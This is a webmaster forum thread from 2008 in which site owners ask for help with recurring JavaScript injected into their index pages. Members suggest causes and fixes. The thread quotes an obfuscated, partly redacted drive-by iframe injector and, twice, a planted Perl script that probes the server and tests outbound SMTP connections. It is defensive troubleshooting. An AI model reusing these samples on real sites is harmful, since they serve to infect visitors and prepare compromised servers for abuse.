Hacked index page

[Theodor]

Well, my index page has been altered. It is not noticeable when viewing the page in a browser, but when looking at the source code of the page.
It has happened to me several times. Each time it has been altered. Allways with some sort of javascript code at the bottom af the html code.
Nothing else has been altered on my website.

I just edit it out, no problem.

I'm getting tired of this.

My ISP says their servers are secure. They use linux on their servers. They say the problem is on my side.

I don't have any well known forums and such.

How is this done and what can I do?

[londrum]

The usual thing is they leave a script somewhere on your server, and whenever you delete the lines it adds it back on again automatically. or maybe the script runs whenever a particular URL is accessed.

your host may well be correct when they say no one can access your server now, but if they script is already there it doesn't matter.

have a look around for a script which you don't recognise.

[Theodor]

I forgot to mention that I am not allowed to write files via http only via ftp.

[OutdoorMan]

My thoughts:

1) If the compromised page is a static page, uploaded by your via a FTP client, then this issue could be caused by someone who has guessed your password and then have gained access to your site via FTP.

2) This issue could also be caused by someone who have gained access to edit your page via a CMS or some administration page of yours. Change your password and/or your login system.

3) Otherwise your host could have security issues on their server/servers. In that case I would change host if they don't seem willing to do anything about it.

[Theodor]

Well, I do have some admin-pages on my website. But there are no links to them. Only I know where they are and what they are called.

I do have some admin pages to admin my own scripts, but only I now where they are and how they are named, and I'm not allowed to alter files other than via FTP, anyway.

What about javascript injections?

[londrum]

if you think about it, it's highly unlikely that someone will re-visit your site to inject the exact same code on the exact same page in exactly same place as before after it's already been discovered.
if they were going to do that, they'd at least stick it somewhere else to make it harder to find. so that points to automation - and a script.

these people work by doing the same thing to hundreds and thousands of sites. it's a fire and forget thing - they stick the script on your server and off they go, onto their next victim.

start up your ftp program and have a look around. presumably your ftp program lets you look at all the directories and files visually.
you need to look for some unfamiliar lines in a .htaccess file, or something in the cgi-bin, or a script above your root folder. you need to check the whole lot.
bear in mind that the file may not be visible so you will have to make it show - sometimes they start the filename with a dot which remains hidden on some people's set-ups.

[Theodor]

the only strange file I see is a .htaccess with

<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>

I cannot get above my root folder.

[Theodor]

BTW, the file permissions are set to 755. Shouldn't that be safe?

[encyclo]

Welcome to WebmasterWorld Theodor. londrum's post above explains the mechanism quite well. Am I right in assuming this is a shared server? If so, then from your description of the problem, everything would indicate that the server has been compromised - either via a script running in your webspace or a vulnerable script in another user's webspace which is affecting the whole server.

In this case, you should be moving your site to a different server and updating any scripts you use. Are you running any forum, blog or similar scripts on your site, or is it static HTML?

[Theodor]

ok, how do I know if it is a shared server?

Yes i'm running asp scripts but no well known scripts like lazarus geustbook or phpforum.

[pageoneresults]

Sounds like you are falling prey to a SQL injection attack.

Create a new user in the DB with read-only access, then update the connection strings in the asp pages to use that account.

The above should stop it from happening.

FTP is not so secure (actually it is your passwords, not FTP). If someone performed a dictionary attack on your FTP login, they may have gotten in. And, if its the same sql injection attack that is going around, its a pretty nasty payload for the visitor. They end up getting redirected through a .js file to a page on some obscure domain that has a bunch of <iframes> that start executing various scripts.

[Theodor]

One of the script that was put in the index page, was an iframe.

wouldn't an sql injection just give access to the content of the database and not to the file system. Can asp, html files be altered from a database?

[londrum]

what's the actual code? have you tried doing a search for the code on google.

these things rarely affect just one person. it is likely that people have discussed it somewhere on the web. maybe they will pinpoint where the guilty thing is.

[Theodor]

yes, and I didn't find it on google. and I don't have it any more. But wait a week or to and my site probably be hacked again.

Last time the code was different. I didn't see any address just a lot of browser checking.

and sigh, I can't create users in my database.

[Tim_Mousel]

This happens to me EVERYDAY! My index.php, index.html and login.php pages get injected with some javascript code. Weeks ago I did find some hacker .pl files on the server but deleted them. Any other tips on tracking this down?

Thanks,

Tim

[Tim_Mousel]

Here is an example of the code placed in my pages:

At the top:

);}function D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA)
{function C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;
return D83D6CE95B0A38CD6F;}
var D71C351C9A9105908A5D4D9624954="";
for(CEDB124A2EA9FE61EB10A584FE0E8=0;
CEDB124A2EA9FE61EB10A584FE0E8<D6242D36DFD76213ED900E11FDA
.length;CEDB124A2EA9FE61EB10A584FE0E8+=C56A17251C947C7EF())
{D71C351C9A9105908A5
D4D9624954+=(String.fromCharCode(removed
.substr(removed()))));}
document.write(removed]");
</script>

At the bottom:

<script language="JavaScript">function nfca(gvjc){return String.fromCharCode(gvjc);}
var vgew="removed";
var nxcp="";for(xfzf=0;xfzf<vgew.length;xfzf+=3)
{nxcp+=nfca(vgew[xfzf]+''+vgew[xfzf+1]+''
+vgew[xfzf+2]);}document.write(nxcp);</script>

[edited by: tedster at 11:24 pm (utc) on June 1, 2008]
[edit reason] fix side scroll; protect our visitors [/edit]

[londrum]

a temporary fix which might work would be to comment out the hackers code, right where it is going to appear.

presumably they place the <script> tag right before the closing </body> tag, so you just need to open a comment before it, and close it after the </html> tag. (don't close it before the </body> tag, because the script will come after it.)

this will mean that both the closing body and html tags are commented out as well, but the page should still display all right.

it's just a temporary fix whilst you find the real culprit.

[Receptional Andy]

The javascript code above will write an iframe to your page, and show the contents of an external (.cn) site that attempts to install viruses/malware. So, while it's present your site is likely to be infecting visitors (and you'd be best advised to check out your own machine too).

I had to tinker with antivirus just to look at the source code, and I wouldn't advise anyone play with that js unless they know what they're doing!

[Tim_Mousel]

Thanks for the replies. I'll try that londrum. From the command prompt is there a command I can type that will search all files in my directory to find the following text?

<script language="JavaScript">function

Thanks,

Tim

[Tim_Mousel]

I found a new script they placed on my server today. Here are the contents of it (I'm altering some of it to prevent others using it.)

Does the script give any clues as to other areas of my server I should be checking?

#/usr/bin/perl -w

$¦ = 1;

print "Content-type: text/plain; charset=windows-1251\n\n" if $ENV{HTTP_USER_AGENT};

print "System info\n";
print "-----------\n\n";
print "$^O";
print "\n", `uname -a` if $^O !~ /win/i;
print "\n\n";

print "Perl modules\n";
print "------------\n\n";
print "strict .......................... ";
unless (eval ("use strict; return 1;")) { print "Error"; } else { print "Ok"; }
print "\nSys::Hostname ................... ";
unless (eval ("use Sys::Hostname; return 1;")) { print "Error"; } else { print "Ok"; }
print "\nPOSIX ........................... ";
unless (eval ("use POSIX qw(setsid); return 1;")) { print "Error"; } else { print "Ok"; }
print "\nErrno ........................... ";
unless (eval ("use Errno qw(EINPROGRESS); return 1;")) { print "Error"; } else { print "Ok"; }
print "\nIO::Socket ...................... ";
unless (eval ("use IO::Socket qw(:DEFAULT :crlf); return 1;")) { print "Error"; } else { use IO::Socket qw(:DEFAULT :crlf); print "Ok"; }
print "\nIO::Select ...................... ";
unless (eval ("use IO::Select; return 1;")) { print "Error"; } else { print "Ok"; }
print "\n\n";

print "Server test\n";
print "-----------\n\n";
my $s = IO:Socket:INET->new(Proto => "tcp", LocalPort => 36000, Listen => SOMAXCONN, Reuse => 1);
unless ($s) { print "Error"; } else { close $s; print "Ok"; }
print "\n\n";

print "Client test\n";
print "-----------\n\n";
my $r = (gethostbyname "smtp.mail.ru")[4];
unless ($r) { print "Error > Can't resolve hostname"; exit; }
$s = IO:Socket:INET->new(Proto => "tcp", Type => SOCK_STREAM);
unless ($s) { print "Error > Can't create socket > $!"; exit; }
unless ($s->connect(pack ("Sna4x8", 2, 25, $r))) { close $s; print "Error > Can't connect > $!"; exit; }
$r = <$s>; close $s;
if (length $r) { print "Ok\n$r"; } else { print "Error > Can't read response"; }

[Tim_Mousel]

I found a new script they placed on my server today. Here are the contents of it (I'm altering some of it to prevent others using it.)

Does the script give any clues as to other areas of my server I should be checking?

#/usr/bin/perl -w

$¦ = 1;

print "Content-type: text/plain; charset=windows-1251\n\n" if $ENV{HTTP_USER_AGENT};

print "System info\n";
print "-----------\n\n";
print "$^O";
print "\n", `uname -a` if $^O !~ /win/i;
print "\n\n";

print "Perl modules\n";
print "------------\n\n";
print "strict .......................... ";
unless (eval ("use strict; return 1;")) { print "Error"; } else { print "Ok"; }
print "\nSys::Hostname ................... ";
unless (eval ("use Sys::Hostname; return 1;")) { print "Error"; } else { print "Ok"; }
print "\nPOSIX ........................... ";
unless (eval ("use POSIX qw(setsid); return 1;")) { print "Error"; } else { print "Ok"; }
print "\nErrno ........................... ";
unless (eval ("use Errno qw(EINPROGRESS); return 1;")) { print "Error"; } else { print "Ok"; }
print "\nIO::Socket ...................... ";
unless (eval ("use IO::Socket qw(:DEFAULT :crlf); return 1;")) { print "Error"; } else { use IO::Socket qw(:DEFAULT :crlf); print "Ok"; }
print "\nIO::Select ...................... ";
unless (eval ("use IO::Select; return 1;")) { print "Error"; } else { print "Ok"; }
print "\n\n";

print "Server test\n";
print "-----------\n\n";
my $s = IO:Socket:INET->new(Proto => "tcp", LocalPort => 36000, Listen => SOMAXCONN, Reuse => 1);
unless ($s) { print "Error"; } else { close $s; print "Ok"; }
print "\n\n";

print "Client test\n";
print "-----------\n\n";
my $r = (gethostbyname "smtp.mail.ru")[4];
unless ($r) { print "Error > Can't resolve hostname"; exit; }
$s = IO:Socket:INET->new(Proto => "tcp", Type => SOCK_STREAM);
unless ($s) { print "Error > Can't create socket > $!"; exit; }
unless ($s->connect(pack ("Sna4x8", 2, 25, $r))) { close $s; print "Error > Can't connect > $!"; exit; }
$r = <$s>; close $s;
if (length $r) { print "Ok\n$r"; } else { print "Error > Can't read response"; }

[willybfriendly]

#/usr/bin/perl -w

Check your cgi-bin, since that is where PERL scripts will be found.

Rather than spending time on that though, I would run, not walk, to a new host provider. And, I would stop using all dynamic scripts until a thorough review of each of them could be completed.